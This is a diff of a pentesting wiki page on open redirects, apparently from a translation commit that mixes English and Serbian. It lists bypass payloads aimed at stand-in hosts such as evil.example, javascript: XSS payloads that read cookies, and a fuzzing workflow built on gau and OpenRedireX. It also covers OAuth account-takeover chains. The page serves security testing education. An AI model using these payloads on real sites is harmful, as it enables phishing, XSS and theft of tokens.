Translated ['src/pentesting-web/open-redirect.md'] to sr

src/pentesting-web/open-redirect.md

@@ -5,14 +5,25 @@
 
 ## Open redirect
 
-### Preusmeravanje na localhost ili proizvoljne domene
+### Redirect to localhost or arbitrary domains
 
+- If the app “allows only internal/whitelisted hosts”, try alternative host notations to hit loopback or internal ranges via the redirect target:
+- IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
+- IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
+- Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
+- Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1.
+- Network-path references often bypass naive validators that prepend a scheme or only check prefixes:
+- //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme.
+- Userinfo tricks defeat contains/startswith checks against trusted hosts:
+- https://trusted.tld@attacker.tld/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld.
+- Backslash parsing confusion between frameworks/browsers:
+- https://trusted.tld\@attacker.tld → some backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. This also appears in Node/PHP URL-parser mismatches.
 
 {{#ref}}
 ssrf-server-side-request-forgery/url-format-bypass.md
 {{#endref}}
 
-### Open Redirect za XSS
+### Modern open-redirect to XSS pivots
 ```bash
 #Basic payload, javascript code is executed after "javascript:"
 javascript:alert(1)
@@ -58,7 +69,36 @@ javascript://whitelisted.com?%a0alert%281%29
 /x:1/:///%01javascript:alert(document.cookie)/
 ";alert(0);//
 ```
-## Open Redirect učitavanje svg datoteka
+<details>
+<summary>Još moderniji URL-based bypass payloads</summary>
+```text
+# Scheme-relative (current scheme is reused)
+//evil.example
+
+# Credentials (userinfo) trick
+https://trusted.example@evil.example/
+
+# Backslash confusion (server validates, browser normalizes)
+https://trusted.example\@evil.example/
+
+# Schemeless with whitespace/control chars
+evil.example%00
+%09//evil.example
+
+# Prefix/suffix matching flaws
+https://trusted.example.evil.example/
+https://evil.example/trusted.example
+
+# When only path is accepted, try breaking absolute URL detection
+/\\evil.example
+/..//evil.example
+```
+
+```
+</details>
+
+## Open Redirect uploading svg files
+
 ```html
 <code>
 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
@@ -68,7 +108,9 @@ xmlns="http://www.w3.org/2000/svg">
 </svg>
 </code>
 ```
-## Uobičajeni parametri za injekciju
+
+## Common injection parameters
+
 ```
 /{payload}
 ?next={payload}
@@ -143,17 +185,23 @@ RedirectUrl=https://c1h2e1.github.io
 Redirect=https://c1h2e1.github.io
 ReturnUrl=https://c1h2e1.github.io
 ```
-## Primeri koda
+
+## Code examples
 
 #### .Net
+
 ```bash
 response.redirect("~/mysafe-subdomain/login.aspx")
 ```
+
 #### Java
+
 ```bash
 response.redirect("http://mysafedomain.com");
 ```
+
 #### PHP
+
 ```php
 <?php
 /* browser redirections*/
@@ -161,16 +209,75 @@ header("Location: http://mysafedomain.com");
 exit;
 ?>
 ```
+
+## Hunting and exploitation workflow (practical)
+
+- Single URL check with curl:
+
+```bash
+curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
+```
+
+- Discover and fuzz likely parameters at scale:
+
+<details>
+<summary>Click to expand</summary>
+
+```bash
+# 1) Prikupi istorijske URL-ove, zadrži one sa common redirect params
+cat domains.txt \
+| gau --o urls.txt            # or: waybackurls / katana / hakrawler
+
+# 2) Grep common parameters and normalize list
+rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
+| sed 's/\r$//' | sort -u > candidates.txt
+
+# 3) Koristi OpenRedireX za fuzzing sa payload corpus
+cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
+
+# 4) Ručno verifikuj interesantne hits
+awk '/30[1237]|Location:/I' results.txt
+```
+```
+</details>
+
+- Ne zaboravite client-side sinks u SPAs: tražite window.location/assign/replace i pomoćne funkcije frameworka koje čitaju query/hash i preusmeravaju.
+
+- Frameworks često uvode footguns kada su redirect destinacije izvedene iz nepouzdanog inputa (query params, Referer, cookies). Pogledajte Next.js napomene o redirects i izbegavajte dinamička odredišta izvedena iz korisničkog inputa.
+
+{{#ref}}
+../network-services-pentesting/pentesting-web/nextjs.md
+{{#endref}}
+
+- OAuth/OIDC flows: zloupotrebom open redirectors često dolazi do account takeover kroz leaking authorization codes/tokens. Pogledajte posvećen vodič:
+
+{{#ref}}
+./oauth-to-account-takeover.md
+{{#endref}}
+
+- Server responses that implement redirects without Location (meta refresh/JavaScript) are still exploitable for phishing and can sometimes be chained. Grep for:
+```html
+<meta http-equiv="refresh" content="0;url=//evil.example">
+<script>location = new URLSearchParams(location.search).get('next')</script>
+```
 ## Alati
 
 - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
+- OpenRedireX – fuzzer za otkrivanje open redirects. Primer:
+```bash
+# Install
+git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
 
-## Resursi
+# Fuzz a list of candidate URLs (use FUZZ as placeholder)
+cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
+```
+## Izvori
 
-- U [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) možete pronaći liste za fuzzing.
+- Na https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect možete pronaći liste za fuzzing.
 - [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
 - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
 - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
-
+- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
+- OpenRedireX – Fuzzer za otkrivanje open redirect ranjivosti: https://github.com/devanshbatham/OpenRedireX
 
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